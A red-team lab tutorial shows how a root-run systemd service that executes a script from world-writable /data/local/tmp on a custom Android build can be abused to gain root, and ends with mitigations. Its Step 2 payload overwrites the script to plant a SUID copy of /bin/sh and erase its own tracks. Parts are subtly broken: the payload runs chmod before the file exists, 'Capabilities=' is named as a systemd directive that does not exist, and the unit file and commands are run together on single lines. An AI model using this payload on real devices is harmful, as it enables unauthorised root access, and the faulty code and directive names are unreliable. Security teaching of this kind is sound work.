Introduction: The Intersection of Systemd and Custom Android

While stock Android primarily leverages `init` for process and service management, advanced embedded systems, specialized IoT devices, or highly customized AOSP (Android Open Source Project) distributions often integrate `systemd`. This integration provides a more robust and familiar Linux service management framework, coexisting with the Android runtime environment. However, this convergence introduces a unique attack surface. This Red Team lab explores how misconfigured `systemd` unit files in such environments can be exploited to break sandboxes and achieve privilege escalation.

For red teamers and security researchers, understanding these non-standard configurations is crucial. A vulnerability in a `systemd` service running alongside Android components can offer a pathway from a compromised low-privilege Android application context to a higher-privilege system daemon, potentially impacting the entire device.

Understanding Systemd Unit Files and Their Security Implications

Systemd unit files (`.service`, `.socket`, `.mount`, etc.) define how `systemd` manages resources and processes. They are powerful and flexible, but this power comes with significant security responsibilities. Key directives within unit files are designed to enforce sandboxing and limit privileges. Misconfigurations or an oversight in these directives can expose the system to attack.

Key Systemd Sandboxing Directives:

• User= and Group=: Specifies the user and group to run the service as, ideally a non-privileged one.
• ProtectSystem=: Mounts `/usr`, `/boot`, and `/etc` as read-only, preventing tampering with core system files.
• ProtectHome=: Mounts `/home`, `/root`, and `/run/user` as inaccessible or read-only, isolating user data.
• PrivateTmp=: Provides a private `/tmp` directory, preventing services from interacting via temporary files.
• NoNewPrivileges=: Prevents the service from gaining new privileges via `execve` calls.
• Capabilities=: Drops specific Linux capabilities that the service doesn’t strictly require.
• AmbientCapabilities=: Defines capabilities preserved across `execve` calls for non-root users.

When these directives are omitted or improperly configured, a service running with elevated permissions (e.g., as `root`) becomes a prime target for exploitation.

The Vulnerability Scenario: Insecure Service Execution

Consider a custom Android-based industrial control system. It uses `systemd` to manage a critical background service, let’s call it `factory-monitor.service`, which periodically checks hardware sensors and logs data. For legacy reasons, or simply an oversight, this service might:

• Run as `root` (User=root or no User= directive).
• Execute a script located in a world-writable directory, such as `/data/local/tmp` (a common temporary location accessible to Android apps).
• Lack strict sandboxing directives like ProtectSystem or PrivateTmp.

A red teamer, having gained initial access to a low-privileged application context on the device (e.g., through a vulnerable Android app), can then exploit this misconfiguration to elevate privileges.

Example of a Vulnerable Unit File (/etc/systemd/system/factory-monitor.service):

[Unit]Description=Factory Monitor ServiceAfter=network.target[Service]Type=simpleExecStart=/data/local/tmp/monitor_script.shRestart=alwaysRestartSec=5s[Install]WantedBy=multi-user.target

In this example, `ExecStart` points to `/data/local/tmp/monitor_script.sh`. Since `/data/local/tmp` is often writable by unprivileged users (including many Android app processes), an attacker can replace or modify this script.

Red Team Lab: Exploiting the Weakness

Lab Setup:

Assume you have an embedded device or VM running a custom AOSP variant with `systemd` integrated. You have `adb` access or a shell as a low-privileged user (e.g., `shell` or `unprivileged_app_user`). The `factory-monitor.service` described above is deployed and active.

Step 1: Reconnaissance – Identifying Vulnerable Services

First, identify running `systemd` services and inspect their unit files for suspicious configurations. You might start by listing all services:

systemctl list-unit-files --type=service --all

Then, specifically look for services that seem critical or are configured to run with high privileges. Once a target service like `factory-monitor.service` is identified, inspect its unit file:

cat /etc/systemd/system/factory-monitor.service

Pay close attention to `ExecStart` paths. Check the permissions of the executable path:

ls -l /data/local/tmp/monitor_script.sh

If the script or its directory is world-writable, or owned by an unprivileged user, it’s a potential vulnerability.

Step 2: Crafting the Payload

Assuming `/data/local/tmp/monitor_script.sh` is writable by your low-privileged user, you can replace its content with a malicious payload. A common goal is to create a SUID (Set User ID) root shell or backdoor.

# As low-privileged user (e.g., via adb shell):echo '#!/bin/bash' > /data/local/tmp/monitor_script.shecho 'chmod 4755 /data/local/tmp/rootshell' >> /data/local/tmp/monitor_script.shecho 'cp /bin/sh /data/local/tmp/rootshell' >> /data/local/tmp/monitor_script.shecho 'rm /data/local/tmp/monitor_script.sh' >> /data/local/tmp/monitor_script.shchmod +x /data/local/tmp/monitor_script.sh

This payload will, when executed by the `factory-monitor.service` (which runs as root), create a SUID copy of `/bin/sh` at `/data/local/tmp/rootshell` and then clean up its own tracks.

Step 3: Triggering the Exploit

The `factory-monitor.service` is likely configured with `Restart=always` and `RestartSec=5s`, meaning it will periodically restart. If you have the necessary permissions, you could force a restart:

systemctl restart factory-monitor.service

If direct `systemctl` access is restricted, you might have to wait for the system to reboot, the service to crash and restart, or for a system administrator to manually restart it.

Step 4: Verification – Gaining Root

Once the `factory-monitor.service` executes your malicious script, a SUID root shell should be available:

/data/local/tmp/rootshell

# You should now be root!iduid=0(root) gid=0(root) groups=0(root),1000(shell)

You have successfully broken out of the low-privileged sandbox and achieved root access on the custom Android system by exploiting a `systemd` unit file misconfiguration.

Mitigation Strategies

Preventing such exploits requires a defense-in-depth approach:

1. Principle of Least Privilege:

   Ensure `systemd` services run as the least privileged user possible (e.g., using `User=` and `Group=`).

2. Strict Sandboxing Directives:

   Always apply comprehensive sandboxing. Include directives like `ProtectSystem=full`, `ProtectHome=yes`, `PrivateTmp=true`, `NoNewPrivileges=yes`, `ReadOnlyPaths=`, `ReadWritePaths=`, and fine-tune `Capabilities=`.

3. Secure File Permissions:

   Ensure all scripts and binaries executed by `systemd` services have strict permissions. They should not be world-writable and ideally be owned by `root`.

4. Immutable Root Filesystems:

   For critical embedded systems, consider making the entire root filesystem read-only, except for designated writable partitions (e.g., `/data`).

5. Code Signing and Integrity Checks:

   Implement mechanisms to verify the integrity of scripts and binaries before they are executed by privileged services.

6. Regular Audits:

   Periodically audit `systemd` unit files and their associated scripts for insecure configurations.

Conclusion

Integrating powerful frameworks like `systemd` into environments like custom Android systems brings enhanced functionality but also new security challenges. This lab demonstrates how a seemingly simple misconfiguration in a `systemd` unit file can lead to severe privilege escalation. For red teams, understanding these architectural nuances is key to identifying novel attack vectors. For developers and system integrators, it underscores the critical importance of a thorough security review of all service configurations, especially when blending different operating system paradigms.